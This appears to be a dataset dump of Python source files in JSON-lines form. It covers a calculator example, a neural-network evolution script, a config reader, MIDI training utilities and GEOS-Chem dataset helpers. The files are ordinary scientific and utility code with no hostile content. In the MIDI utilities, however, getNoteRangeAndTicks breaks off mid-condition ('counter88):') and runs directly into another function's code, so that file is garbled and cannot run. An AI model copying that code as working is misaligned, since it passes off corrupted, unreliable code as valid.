file_name + '\"')\r\n msg.attach(part)\r\n\r\n mailserver.sendmail(sender, receiver, msg.as_string())\r\n mailserver.quit()\r\n","sub_path":"utilities/send_mail.py","file_name":"send_mail.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"213892512","text":"\nclass Calculator:\n\n @staticmethod\n def sum(a=None, b=None, c=None):\n if a!=None and b!=None and c!=None:\n return a + b + c\n elif a!=None and b!=None:\n return a + b\n else:\n return a\n\nprint('Sum of 5 + 6 + 10:{}'.format(Calculator.sum(5, 6, 10)))\nprint('Sum of 6 + 7:{}'.format(Calculator.sum(6, 7)))\n","sub_path":"methodOverloading.py","file_name":"methodOverloading.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"259923817","text":"import mga\nimport ctrnn\nimport numpy \nimport matplotlib.pyplot as plt\nfrom scipy.spatial.distance import cdist\nimport sys\n\ntarg = sys.argv[1]\nnum = sys.argv[2]\n# NN Params\nnnsize = 3\nduration = 10\nstepsize = 0.01\nstart_ind = int(7/stepsize)\nWeightRange = 15\nBiasRange = 15\nTimeConstMin = 1.0\nTimeConstMax = 1.0 \n\ntarget_output = numpy.load(\"target_output_{0}.npy\".format(targ))\nprint(target_output.shape)\n#ind_dct, prd_dct, prd, start = targetPeriod(target_output)\n#start_index = start #For target\n#start_ind = start #For microbial output\n#for period in prd_dct[start]:\n# if start_ind + prd > int(duration/stepsize):\n# start_index += period\n# else:\n# start_index += period\n# start_ind += period\n#start_index -= prd_dct[start][-1]\n#start_ind -= 2*prd\n#start_ind = int(7/stepsize)\n\n# Fitness function: Difference between phase portraits\ndef fitnessFunction(genotype):\n time = numpy.arange(0.0,duration,stepsize)\n net = ctrnn.CTRNN(nnsize)\n net.setParameters(genotype,WeightRange,BiasRange,TimeConstMin,TimeConstMax)\n net.initializeState(numpy.zeros(nnsize))\n outputs = numpy.zeros((len(time),nnsize))\n for t in time:\n net.step(stepsize)\n outputs[int(t/stepsize)] = net.Output\n # Find all the pairwise distances between each of the points in the two systems across time (ignoring the transient)\n dist = cdist(outputs[start_ind:], target_output[start_ind:], metric='euclidean')\n # Find the one point where the distance between the two systems was the smallest: t1 and t2\n t1,t2 = numpy.unravel_index(numpy.argmin(dist, axis=None), dist.shape)\n # Use that point to align the rest of the points and take the cumulative of that distance\n cum_dist = 0.0\n n=len(dist)\n for i in range(n):\n cum_dist += dist[t1][t2]\n t1 = (t1+1)%n\n t2 = (t2+1)%n\n avg_dist = cum_dist/n\n return 1-avg_dist\n\n\n \n \n\n# EA Params\npopsize = 500\ndemesize = 2\ngenesize = nnsize*nnsize + 2*nnsize\nrecombProb = 0.5\nmutatProb = 1/genesize\ngenerations = 700\n\n# Evolve and visualize fitness over generations\nga = mga.Microbial(fitnessFunction, popsize, genesize, recombProb, mutatProb, demesize, generations, 1)\nga.run()\n#ga.showFitness()\naf,bf,bi = ga.fitStats()\n\n#id = int(sys.argv[1])\nnumpy.save(\"avg_fitness_{0}_{1}.npy\".format(targ, num), ga.avgHistory) #\"avg_fitness_\"+str(id)+\".npy\"\nnumpy.save(\"best_fitness_{0}_{1}.npy\".format(targ, num), ga.bestHistory) #\"best_fitness_\"+str(id)+\".npy\"\nnumpy.save(\"best_individual_{0}_{1}.npy\".format(targ, num), bi) #\"best_individual_\"+str(id)+\".npy\"\n\n\n#avg_fit = open(\"avg_fitness_{0}.npy\".format(num), 'rb')\n#numpy.save(avg_fit, ga.avgHistory)\n#avg_fit.flush()\n#best_fit = open(\"best_fitness_{0}.npy\".format(num), 'rb')\n#numpy.save(avg_fit, ga.bestHistory)\n#best_fit.flush()\n#best_indiv = open(\"best_individual_{0}.npy\".format(num), 'rb')\n#numpy.save(best_indiv, bi)\n#best_indiv.flush()\n\n\n# # Get best evolved network and show its activity\n# time = np.arange(0.0,duration,stepsize)\n# nn = ctrnn.CTRNN(nnsize)\n# nn.setParameters(bi,WeightRange,BiasRange,TimeConstMin,TimeConstMax)\n# nn.initializeState(np.zeros(nnsize))\n# outputs = np.zeros((len(time),nnsize))\n# step = 0\n# for t in time:\n# nn.step(stepsize)\n# outputs[step] = nn.Output\n# step += 1\n# plt.figure()\n# for i in range(nnsize):\n# plt.plot(time,outputs)\n# plt.xlabel(\"Time\")\n# plt.ylabel(\"Output\")\n# plt.title(\"Neural activity\")\n# plt.show()\n","sub_path":"targets/infer_weights.py","file_name":"infer_weights.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"546439176","text":"import configparser\nimport sys\nimport os\n\nsys.path.append(os.getcwd())\n\nfrom configuration import Configuration\n\ndef getConfigs():\n\n config = configparser.ConfigParser()\n config.read('.config')\n config_sections = config.sections()\n foundAppInfo = 'APP_INFO' in config_sections\n foundCreds = 'APP_CREDS' in config_sections\n \n if foundAppInfo == False :\n print(\"App information is not present. Please run the config_write with data!\")\n exit()\n\n if foundCreds == False: \n print(\"The credentials required are missing. \\\n Please generate the app ids and feed in config!\")\n exit()\n\n # Why converting to lower case?\n \"\"\" Converting the attributes names to lower case to honor the ConfigParser's \\\n default behavior to pass data in optionxform / lower-case\n \"\"\"\n assistant_name = config['APP_INFO']['ASSISTANT_NAME'.lower()]\n # print(assistant_name)\n wolfram_app_id = config['APP_CREDS']['WOLFRAM_APP_ID'.lower()]\n # print(wolfram_app_id)\n return Configuration(assistant_name, wolfram_app_id)\n\n","sub_path":"utils/config_reader.py","file_name":"config_reader.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"214611753","text":"from mido import MidiFile, MidiTrack, Message\nfrom mido.midifiles import MetaMessage\nimport mido\nimport sys\nfrom keras.callbacks import Callback\nimport numpy as np\nimport time\nimport csv\nimport glob\nimport shutil\n\ndef timeSignature(files_dir, resolution_factor, numerator, denominator):\n print(timeSignature)\n num_files = len(files_dir)\n time_sig = np.zeros((num_files), dtype=np.int)\n list_dir = []\n nr_files = 0\n for i,file_dir in enumerate(files_dir):\n # print(file_dir)\n file_path = \"%s\" %(file_dir)\n mid = MidiFile(file_path) \n for track in mid.tracks:\n for message in track:\n if(message.type == 'time_signature'):\n if(message.numerator == numerator and message.denominator == denominator):\n print('%s ' % (file_dir),end='')\n print('%d %d %d' % (message.numerator, message.denominator, mid.ticks_per_beat))\n tpb = mid.ticks_per_beat\n if message.denominator == 8:\n tpb = mid.ticks_per_beat/2\n if message.denominator == 16:\n tpb = mid.ticks_per_beat/4\n fac = tpb * message.numerator\n fac = int(fac/resolution_factor)\n time_sig=fac\n list_dir.append(file_dir)\n nr_files = nr_files+1\n return time_sig, list_dir, nr_files \n\ndef getNoteRangeAndTicks(files_dir,list_dir,nr_training, res_factor=1 ):\n print(getNoteRangeAndTicks)\n print(getNoteRangeAndTicks)\n ticks = []\n notes = []\n counter = 0\n for file_dir in files_dir:\n file_path = \"%s\" %(file_dir)\n if file_path in list_dir and counter88):\n ct = 0\n while(message[0]>88):\n message[0] = message[0] - 12\n piano_roll[i,message[1]:(message[1]+int(message[2]/2)),message[0]-52] = 1\n else:\n piano_roll[i,message[1]:(message[1]+int(message[2]/2)), message[0]-52] = 1\n \n return piano_roll\n\ndef removeChords(note_time_onoff_array):\n print(removeChords)\n piano_roll = np.zeros((note_time_onoff_array.shape[0],note_time_onoff_array.shape[1],48),dtype=np.int)\n aux = []\n #note_time_onoff_array = np.matrix(note_time_onoff_array)\n for i,songs in enumerate(note_time_onoff_array):\n aux.clear()\n for j,timestep in enumerate(songs):\n pos = 0\n ct = 0\n for k in timestep:\n if(k>0):\n pos = ct\n ct = ct+1\n if(pos==0 and timestep[pos]==0):\n timestep[:] = np.zeros(timestep.shape)\n timestep[pos] = 0\n if((pos == 0 and timestep[pos]!=0) or pos!=0):\n timestep[:] = np.zeros(timestep.shape)\n timestep[pos] = 1\n aux.append(timestep)\n piano_roll[i]=aux\n \n\n #piano_roll = np.array(piano_roll)\n\n return piano_roll\n\ndef getNoteTimeOnOffArray(mid, res_factor):\n print(getNoteTimeOnOffArray)\n note_time_onoff_array = []\n for track in mid.tracks:\n if(track.name=='Piano right'):\n current_time = 0\n for message in track:\n if not isinstance(message, MetaMessage):\n current_time += int(message.time/res_factor)\n bol = False\n if (message.type == 'note_on'):\n if(message.velocity!=0):\n note_onoff = 1\n bol = True\n else:\n note_onoff = 0\n bol = True\n if (message.type == 'note_off'):\n note_onoff = 0\n bol = True\n if(bol==True):\n note_time_onoff_array.append([message.note, current_time, note_onoff])\n \n return note_time_onoff_array\n\ndef getNoteOnLengthArray(note_time_onoff_array):\n print(getNoteOnLengthArray)\n note_on_length_array = []\n first_time = False\n aux = 0\n a = note_time_onoff_array[0:1:1]\n b = [x[1] for x in note_time_onoff_array]\n aux = b[0]\n if aux != 0:\n first_time = True\n\n for i, message in enumerate(note_time_onoff_array):\n if message[2] == 1: #if note type is 'note_on'\n start_time = message[1]\n for event in note_time_onoff_array[i:]: #go through array and look for, when the current note is getting turned off\n if event[0] == message[0] and event[2] == 0:\n length = event[1] - start_time\n break\n \n note_on_length_array.append([message[0], start_time, length])\n\n if first_time == True:\n i = 0\n for note,timer,length in note_on_length_array:\n timer = timer - aux\n note_on_length_array[i]=[note, timer, length]\n i = i+1\n return note_on_length_array\n\n\ndef createNetInputs(roll, target, seq_length):\n print(createNetInputs)\n print(createNetInputs)\n X = []\n y = []\n for i, song in enumerate(roll):\n pos = 0\n while pos+seq_length < song.shape[0]:\n sequence = np.array(song[pos:pos+seq_length])\n X.append(sequence)\n y.append(target[i, pos+seq_length])\n pos += 1\n return np.array(X), np.array(y)\n\nclass LossHistory(Callback):\n\tdef on_train_begin(self, logs={}):\n\t\tself.losses = []\n\n\tdef on_batch_end(self, batch, logs={}):\n\t\tself.losses.append(logs.get('loss'))","sub_path":"Trainer_Utilities.py","file_name":"Trainer_Utilities.py","file_ext":"py","file_size_in_byte":7496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"214921338","text":"''' Core utilities for handling GEOS-Chem data '''\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\n\nimport xarray as xr\nimport xbpch\nimport numpy as np\nimport json\nimport shutil\n\n# JSON files to read\nlumped_spc = 'lumped_species.json'\nbpch_to_nc_names = 'bpch_to_nc_names.json'\n\n\ndef open_dataset(filename, **kwargs):\n ''' Load and decode a dataset from an output file generated by GEOS-Chem\n\n This method inspects a GEOS-Chem output file and chooses a way to load it\n into memory as an xarray Dataset. Because two different libraries to\n support BPCH and netCDF outputs, you may need to pass additional keyword\n arguments to the function. See the Examples below.\n\n Parameters\n ----------\n filename : str\n Path to a GEOS-Chem output file (netCDF or BPCH format) which can be\n loaded through either xarray or xbpch. Note that xarray conventions for\n netCDF files apply.\n **kwargs\n Additional keyword arguments to be passed directly to\n `xarray.open_dataset` or `xbpch.open_bpchdataset`.\n\n Returns\n -------\n dataset : xarray.Dataset\n The dataset loaded from the referenced filename.\n\n See Also\n --------\n xarray.open_dataset\n xbpch.open_bpchdataset\n open_mfdataset\n\n Examples\n --------\n\n Open a legacy BPCH output file:\n\n >>> ds = open_dataset(\"my_GEOS-Chem_run.bpch\",\n ... tracerinfo_file='tracerinfo.dat',\n ... diaginfo_file='diaginfo.dat')\n\n Open a netCDF output file, but disable metadata decoding:\n >>> ds = open_dataset(\"my_GCHP_data.nc\",\n ... decode_times=False, decode_cf=False)\n\n '''\n\n basename, file_extension = os.path.splitext(filename)\n\n if file_extension == '.bpch':\n _opener = xbpch.open_bpchdataset\n elif file_extension == '.nc':\n _opener = xr.open_dataset\n else:\n raise ValueError('Found unknown file extension ({}); please '\n 'pass a BPCH or netCDF file with extension '\n '\"bpch\" or \"nc\"!'.format(file_extension))\n\n return _opener(filename, **kwargs)\n\n\ndef open_mfdataset(filenames, concat_dim='time', compat='no_conflicts',\n preprocess=None, lock=None, **kwargs):\n ''' Load and decode multiple GEOS-Chem output files as a single Dataset.\n\n Parameters\n ----------\n filenames : list of strs\n Paths to GEOS-Chem output files to load. Must have the same extension\n and be able to be concatenated along some common axis.\n concat_dim : str, default='time'\n Dimension to concatenate Datasets over. We default to \"time\" since this\n is how GEOS-Chem splits output files.\n compat : {'identical', 'equals', 'broadcast_equals',\n 'no_conflicts'}, optional\n String indicating how to compare variables of the same name for\n potential conflicts when merging:\n - 'broadcast_equals': all values must be equal when variables are\n broadcast against each other to ensure common dimensions.\n - 'equals': all values and dimensions must be the same.\n - 'identical': all values, dimensions and attributes must be the\n same.\n - 'no_conflicts': only values which are not null in both datasets\n must be equal. The returned dataset then contains the combination\n of all non-null values.\n preprocess : callable (optional)\n A pre-processing function to apply to each Dataset prior to\n concatenation\n lock : False, True, or threading.Lock (optional)\n Passed to :py:func:`dask.array.from_array`. By default, xarray\n employs a per-variable lock when reading data from NetCDF files,\n but this model has not yet been extended or implemented for bpch files\n and so this is not actually used. However, it is likely necessary\n before dask's multi-threaded backend can be used\n **kwargs\n Additional keyword arguments to be passed directly to\n `xbpch.open_mfbpchdataset` or `xarray.open_mfdataset`.\n\n Returns\n -------\n dataset : xarray.Dataset\n A dataset containing the data in the specified input filenames.\n\n See Also\n --------\n xarray.open_mfdataset\n xbpch.open_mfbpchdataset\n open_dataset\n\n '''\n\n try:\n test_fn = filenames[0]\n except:\n raise ValueError('Must pass a list with at least one filename')\n\n basename, file_extension = os.path.splitext(test_fn)\n\n if file_extension == '.bpch':\n _opener = xbpch.open_mfbpchdataset\n elif file_extension == '.nc':\n _opener = xr.open_mfdataset\n elif file_extension == '.nc4':\n _opener = xr.open_mfdataset\n else:\n raise ValueError('Found unknown file extension ({}); please ' \\\n 'pass a BPCH or netCDF file with extension ' \\\n '\"bpch\" or \"nc\" or \"nc4\"'.format(file_extension))\n \n return _opener(filenames, concat_dim=concat_dim, compat=compat,\n preprocess=preprocess, lock=lock, **kwargs)\n\n\ndef get_gcc_filepath(outputdir, collection, day, time):\n if collection == 'Emissions':\n filepath = os.path.join(outputdir, 'HEMCO_diagnostics.{}{}.nc'.format(day,time))\n else:\n filepath = os.path.join(outputdir, 'GEOSChem.{}.{}_{}z.nc4'.format(collection,day,time))\n return filepath\n\n\ndef get_gchp_filepath(outputdir, collection, day, time):\n filepath = os.path.join(outputdir, 'GCHP.{}.{}_{}z.nc4'.format(collection,day,time))\n return filepath\n\n\ndef check_paths(refpath, devpath):\n '''\n Checks to see if paths to data files exist.\n\n Args:\n refpath : str\n Path to the \"Reference\" data.\n\n devpath : str\n Path to the \"Development\" data.\n '''\n\n if not os.path.exists(refpath):\n print('ERROR! Path 1 does not exist: {}'.format(refpath))\n else:\n print('Path 1 exists: {}'.format(refpath))\n if not os.path.exists(devpath):\n print('ERROR! Path 2 does not exist: {}'.format(devpath))\n else:\n print('Path 2 exists: {}'.format(devpath))\n\n \ndef compare_varnames(refdata, devdata, quiet=False):\n '''\n Finds variables that are common to two xarray Dataset objects.\n\n Args:\n refdata : xarray Dataset\n The first Dataset to be compared.\n (This is often referred to as the \"Reference\" Dataset.)\n\n devdata : xarray Dataset\n The second Dataset to be compared.\n (This is often referred to as the \"Development\" Dataset.)\n\n quiet : boolean\n If True, will suppress printing to stdout.\n quiet is set to False by default.\n\n Returns:\n commonvars: list of strs\n Variables that are common to both refdata and devdata,\n regardless of dimension.\n\n commonvarsOther: list of strs\n Variables that are common to refdata and devdata,\n and that do not have lat, lon, and level dimensions.\n\n commonvars2D: list of strs\n Variables that are common to refdata and devdata,\n and that have lat and lon dimensions, but not level.\n\n commonvars3D: list of strs\n Variables that are common to refdata and devdata,\n and that have lat, lon, and level dimensions.\n\n Examples:\n >>> import gcpy\n >>> import xarray as xr\n >>> refdata = xr.open_dataset(\"ref_data_file.nc\")\n >>> devdata = xr.open_dataset(\"dev_data_file.nc\")\n >>> [commonvars, commonvarsOther, commonvars2D, commonvars3D ] = gcpy.compare_varnames(refdata, devdata)\n '''\n refvars = [k for k in refdata.data_vars.keys()]\n devvars= [k for k in devdata.data_vars.keys()]\n commonvars = sorted(list(set(refvars).intersection(set(devvars))))\n refonly = [v for v in refvars if v not in devvars]\n devonly = [v for v in devvars if v not in refvars]\n dimmismatch = [v for v in commonvars if refdata[v].ndim != devdata[v].ndim]\n commonvarsOther = [v for v in commonvars if (('lat' not in refdata[v].dims or 'Xdim' not in refdata[v].dims) and\n ('lon' not in refdata[v].dims or 'Ydim' not in refdata[v].dims) and\n ('lev' not in refdata[v].dims))]\n commonvars2D = [v for v in commonvars if (('lat' in refdata[v].dims or 'Xdim' in refdata[v].dims) and\n ('lon' in refdata[v].dims or 'Ydim' in refdata[v].dims) and\n ('lev' not in refdata[v].dims))]\n commonvars3D = [v for v in commonvars if (('lat' in refdata[v].dims or 'Xdim' in refdata[v].dims) and\n ('lon' in refdata[v].dims or 'Ydim' in refdata[v].dims) and\n ('lev' in refdata[v].dims))]\n \n # Print information on common and mismatching variables, as well as dimensions\n if quiet == False:\n print('{} common variables'.format(len(commonvars)))\n if len(refonly) > 0:\n print('{} variables in ref only (skip)'.format(len(refonly)))\n print(' Variable names: {}'.format(refonly))\n else:\n print('0 variables in ref only')\n if len(devonly) > 0:\n print('{} variables in dev only (skip)'.format(len(devonly)))\n print(' Variable names: {}'.format(devonly))\n else:\n print('0 variables in dev only')\n if len(dimmismatch) > 0:\n print('{} common variables have different dimensions'.format(len(dimmismatch)))\n print(' Variable names: {}'.format(dimmismatch))\n else:\n print('All variables have same dimensions in ref and dev')\n\n return [commonvars, commonvarsOther, commonvars2D, commonvars3D]\n\n\ndef compare_stats(refdata, refstr, devdata, devstr, varname):\n '''\n Prints out global statistics (array sizes, mean, min, max, sum)\n from two xarray Dataset objects.\n\n Args:\n refdata : xarray Dataset\n The first Dataset to be compared.\n (This is often referred to as the \"Reference\" Dataset.)\n\n refstr : str\n Label for refdata to be used in the printout\n\n devdata : xarray Dataset\n The second Dataset to be compared.\n (This is often referred to as the \"Development\" Dataset.)\n\n devstr : str\n Label for devdata to be used in the printout\n\n varname : str\n Variable name for which global statistics will be printed out.\n\n Returns:\n None\n\n Examples:\n >>> import gcpy\n >>> import xarray as xr\n >>> refdata = xr.open_dataset(\"ref_data_file.nc\")\n >>> devdata = xr.open_dataset(\"dev_data_file.nc\")\n >>> gcpy.compare_stats(ds_ref, \"Ref\", ds_dev, \"Dev\", \"EmisNO2_Anthro\")\n\n Data units:\n Ref: molec/cm2/s\n Dev: molec/cm2/s\n Array sizes:\n Ref: (1, 47, 46, 72)\n Dev: (1, 47, 46, 72)\n Global stats:\n Mean:\n Ref: 1770774.125\n Dev: 1770774.125\n Min:\n Ref: 0.0\n Dev: 0.0\n Max:\n Ref: 11548288000.0\n Dev: 11548288000.0\n Sum:\n Ref: 275645792256.0\n Dev: 275645792256.0\n '''\n\n refvar = refdata[varname]\n devvar = devdata[varname]\n units = refdata[varname].units\n print('Data units:')\n print(' {}: {}'.format(refstr,units))\n print(' {}: {}'.format(devstr,units))\n print('Array sizes:')\n print(' {}: {}'.format(refstr,refvar.shape))\n print(' {}: {}'.format(devstr,devvar.shape))\n print('Global stats:')\n print(' Mean:')\n print(' {}: {}'.format(refstr,np.round(refvar.values.mean(),20)))\n print(' {}: {}'.format(devstr,np.round(devvar.values.mean(),20)))\n print(' Min:')\n print(' {}: {}'.format(refstr,np.round(refvar.values.min(),20)))\n print(' {}: {}'.format(devstr,np.round(devvar.values.min(),20)))\n print(' Max:')\n print(' {}: {}'.format(refstr,np.round(refvar.values.max(),20)))\n print(' {}: {}'.format(devstr,np.round(devvar.values.max(),20)))\n print(' Sum:')\n print(' {}: {}'.format(refstr,np.round(refvar.values.sum(),20)))\n print(' {}: {}'.format(devstr,np.round(devvar.values.sum(),20)))\n\n \ndef get_collection_data(datadir, collection, day, time):\n datafile = get_gcc_filepath(datadir, collection, day, time)\n if not os.path.exists(datafile):\n print('ERROR! File does not exist: {}'.format(datafile))\n data_ds = xr.open_dataset(datafile)\n return data_ds\n\n\ndef get_gchp_collection_data(datadir, collection, day, time):\n datafile = get_gchp_filepath(datadir, collection, day, time)\n data_ds = xr.open_dataset(datafile)\n return data_ds\n\n\ndef convert_bpch_names_to_netcdf_names(ds, verbose=False):\n\n '''\n Function to convert the non-standard bpch diagnostic names\n to names used in the GEOS-Chem netCDF diagnostic outputs.\n \n Args:\n ds : xarray Dataset\n The xarray Dataset object whose names are to be replaced.\n\n Keyword Args (optional):\n verbose : boolean\n Turn on extra output.\n Default value: False\n\n NOTE: Only the diagnostic names needed for the 1-month benchmark\n plots have been added at this time. To make this a truly general\n tool, we can consider adding the diagnostic names for the GEOS-Chem\n specialtiy simulations later on.\n '''\n\n # Names dictionary (key = bpch id, value[0] = netcdf id,\n # value[1] = action to create full name using id)\n # Now read from JSON file (bmy, 4/5/19)\n jsonfile = os.path.join(os.path.dirname(__file__), bpch_to_nc_names)\n names = json.load(open(jsonfile))\n\n # define some special variable to overwrite above\n special_vars = {'AerMassPM25' : 'PM25',\n 'AerMassbiogOA': 'TotalBiogenicOA',\n 'AerMasssumOA' : 'TotalOA',\n 'AerMasssumOC' : 'TotalOC',\n 'AerMassBNO' : 'BetaNO',\n 'AerMassOC' : 'OC',\n 'Met_AIRNUMDE' : 'Met_AIRNUMDEN',\n 'Met_UWND' : 'Met_U',\n 'Met_VWND' : 'Met_V',\n 'Met_CLDTOP' : 'Met_CLDTOPS',\n 'Met_GWET' : 'Met_GWETTOP',\n 'Met_PRECON' : 'Met_PRECCON',\n 'Met_PREACC' : 'Met_PRECTOT',\n 'Met_PBL' : 'Met_PBLH' }\n\n # Python dictionary for variable name replacement\n old_to_new = {}\n\n # Loop over all variable names in the data set\n for variable_name in ds.data_vars.keys():\n\n # Save the original variable name, since this is the name\n # that we actually need to replace in the dataset.\n original_variable_name = variable_name\n\n # Replace \"__\" with \"_\", in variable name (which will get tested\n # against the name sin the JSON file. This will allow us to\n # replace variable names in files created with BPCH2COARDS.\n if '__' in variable_name:\n variable_name = variable_name.replace('__', '_')\n\n # Check if name matches anything in dictionary. Give warning if not.\n oldid = ''\n newid = ''\n idaction = ''\n for key in names:\n if key in variable_name:\n if names[key][1] == 'skip':\n # Verbose output\n if verbose:\n print('WARNING: skipping {}'.format(key))\n else:\n oldid = key\n newid = names[key][0]\n idaction = names[key][1]\n break\n\n # Go to the next line if no definition was found\n if oldid == '' or newid == '' or idaction == '':\n continue\n\n # If fullname replacement:\n if idaction == 'replace':\n oldvar = oldid\n newvar = newid\n\n # Update the dictionary of names with this pair\n # Use the original variable name.\n old_to_new.update({original_variable_name : newvar})\n\n # For all the rest:\n else:\n linearr = variable_name.split('_')\n varstr = linearr[-1]\n oldvar = oldid + varstr\n\n # These categories use append\n if oldid in ['IJ_AVG_S_', 'RN_DECAY_', 'WETDCV_S_',\n 'WETDLS_S_', 'BXHGHT_S_', 'DAO_3D_S_',\n 'PL_SUL_', 'CV_FLX_S_', 'EW_FLX_S_',\n 'NS_FLX_S_', 'UP_FLX_S_', 'MC_FRC_S_']:\n newvar = newid + '_' +varstr\n\n # DAO_FLDS\n # Skip certain fields that will cause conflicts w/ netCDF\n elif oldid in 'DAO_FLDS_':\n if oldid in [ 'DAO_FLDS_PS_PBL', 'DAO_FLDS_TROPPRAW' ]:\n\n # Verbose output\n if verbose:\n print( 'Skipping: {}'.format(oldid) )\n else:\n newvar = newid + '_' +varstr\n\n # Special handling for J-values: The bpch variable names all\n # begin with \"J\" (e.g. JNO, JACET), so we need to strip the first\n # character of the variable name manually (bmy, 4/8/19)\n elif oldid == 'JV_MAP_S_':\n newvar = newid + '_' + varstr[1:]\n\n # IJ_SOA_S_\n elif oldid == 'IJ_SOA_S_':\n newvar = newid + varstr\n\n # DRYD_FLX_, DRYD_VEL_\n elif 'DRYD_' in oldid:\n newvar = newid + '_' + varstr[:-2]\n\n # BIOBSRCE_, BIOFSRCE_, BIOGSRCE_. ANTHSRCE_\n elif oldid in ['BIOBSRCE_', 'BIOFSRCE_',\n 'BIOGSRCE_', 'ANTHSRCE_']:\n newvar = 'Emis' + varstr +'_' + newid\n \n # If nothing found...\n else:\n \n # Verbose output\n if verbose:\n print('WARNING: Nothing defined for: {}'.\n format(variable_name))\n continue\n\n # Overwrite certain variable names\n if newvar in special_vars:\n newvar = special_vars[newvar]\n\n # Update the dictionary of names with this pair\n old_to_new.update({original_variable_name : newvar})\n\n # Verbose output\n if verbose:\n print('\\nList of bpch names and netCDF names')\n for key in old_to_new:\n print('{} ==> {}'.format(key.ljust(25),old_to_new[key].ljust(40)))\n\n # Rename the variables in the dataset\n if verbose:\n print( '\\nRenaming variables in the data...')\n with xr.set_options(keep_attrs=True):\n ds = ds.rename(name_dict=old_to_new)\n \n # Return the dataset\n return ds\n\n\ndef get_lumped_species_definitions():\n jsonfile = os.path.join(os.path.dirname(__file__), lumped_spc)\n with open(jsonfile, 'r') as f:\n lumped_spc_dict = json.loads(f.read())\n return lumped_spc_dict\n\n\ndef archive_lumped_species_definitions(dst):\n src = os.path.join(os.path.dirname(__file__), lumped_spc)\n print('Archiving {} in {}'.format(lumped_spc, dst))\n shutil.copyfile(src, os.path.join(dst, lumped_spc))\n\n \ndef add_lumped_species_to_dataset(ds, lspc_dict={}, lspc_json='',\n verbose=False, overwrite=False, prefix='SpeciesConc_'):\n\n # Default is to add all benchmark lumped species. Can overwrite by passing a dictionary\n # or a json file path containing one\n assert not (lspc_dict != {} and lspc_json != ''), 'Cannot pass both lspc_dict and lspc_json. Choose one only.'\n if lspc_dict == {} and lspc_json == '':\n lspc_dict = get_lumped_species_definitions()\n elif lspc_dict == {} and lspc_json != '':\n with open(lspc_json, 'r') as f:\n lspc_dict = json.loads(f.read())\n\n for lspc in lspc_dict:\n varname_new = prefix+lspc\n if varname_new in ds.data_vars and overwrite:\n ds.drop(varname_new)\n else:\n assert varname_new not in ds.data_vars, '{} already in dataset. To overwrite pass overwrite=True.'.format(varname_new)\n if verbose:\n print('Creating {}'.format(varname_new))\n for i, spc in enumerate(lspc_dict[lspc]):\n varname = prefix+spc\n if varname not in ds.data_vars:\n print('Warning: {} needed for {} not in dataset.'.format(spc,lspc))\n continue\n if verbose:\n print(' -> adding {} with scale {}'.format(spc,lspc_dict[lspc][spc]))\n if i == 0:\n darr = ds[varname] * lspc_dict[lspc][spc]\n units = ds[varname].units\n else:\n darr = darr + ds[varname] * lspc_dict[lspc][spc]\n darr.name = varname_new\n darr.attrs['units'] = units\n ds = xr.merge([ds,darr])\n return ds\n\n\ndef filter_names(names, text=''):\n '''\n Returns elements in a list that match a given substring.\n Can be used in conjnction with compare_varnames to return a subset\n of variable names pertaining to a given diagnostic type or species.\n \n Args:\n names: list of strs\n\n text: str\n Target text string for restricting the search.\n \n Returns:\n filtered_names: list of strs\n Returns all elements of names that contains the substring\n specified by the \"text\" argument. If \"text\" is omitted,\n then the original contents of names will be returned.\n \n Examples:\n Obtain a list of variable names that contain the substrings\n \"CO\", \"NO\", and \"O3\":\n \n >>> import gcpy\n >>> import xarray as xr\n >>> refdata = xr.open_dataset(\"ref_data_file.nc\")\n >>> devdata = xr.open_dataset(\"dev_data_file.nc\")\n >>> [var, varOther, var2D, var3D] = gcpy.compare_varnames(refdata, devdata)\n >>> var_CO = gcpy.filter_names(var, \"CO\")\n >>> var_NO = gcpy.filter_names(var, \"NO\")\n >>> var_O3 = gcpy.filter_names(var, \"O3\")\n '''\n\n if text != '':\n filtered_names = [k for k in names if text in k]\n else:\n filtered_names = [k for k in names if k]\n\n return filtered_names\n \n\ndef divide_dataset_by_dataarray(ds, dr, varlist=None):\n '''\n Divides variables in an xarray Dataset object by a single DataArray\n object. Will also make sure that the Dataset variable attributes\n are preserved.\n\n This method can be useful for certain types of model diagnostics\n that have to be divided by a counter array. For example, local\n noontime J-value variables in a Dataset can be divided by the\n fraction of time it was local noon in each grid box, etc.\n\n Args:\n ds: xarray Dataset\n The Dataset object containing variables to be divided.\n\n dr: xarray DataArray\n The DataArray object that will be used to divide the\n variables of ds.\n\n Kewyword Args (optional):\n varlist: list\n If passed, then only those variables of ds that are listed\n in varlist will be divided by dr. Otherwise, all variables\n of ds will be divided by dr.\n\n Returns:\n ds_new : xarray Dataset\n A new xarray Dataset object with its variables divided by dr.\n '''\n\n # -----------------------------\n # Check arguments\n # -----------------------------\n if not isinstance(ds, xr.Dataset):\n raise TypeError('The ds argument must be of type xarray.Dataset!')\n\n if not isinstance(dr, xr.DataArray):\n raise TypeError('The dr argument must be of type xarray.DataArray!')\n\n if varlist == None:\n varlist = ds.data_vars.keys()\n\n # -----------------------------\n # Do the division\n # -----------------------------\n\n # Keep all Dataset attributes\n with xr.set_options(keep_attrs=True):\n\n # Loop over variables\n for v in varlist:\n\n # Divide each variable of ds by dr\n ds[v] = ds[v] / dr\n\n # -----------------------------\n # Return the modified Dataset\n # -----------------------------\n return ds\n","sub_path":"gcpy/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":24362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"95707767","text":"import matplotlib\nmatplotlib.use('Agg')\nimport pandas as pd\nimport pylab as plt\nimport random\nimport matplotlib.patches as mpatches\n\nCH = {}\nCH['chr01'] = 'I'\nCH['chr02'] = 'II'\nCH['chr03'] = 'III'\nCH['chr04'] = 'IV'\nCH['chr05'] = 'V'\nCH['chr06'] = 'VI'\nCH['chr07'] = 'VII'\nCH['chr08'] = 'VIII'\nCH['chr09'] = 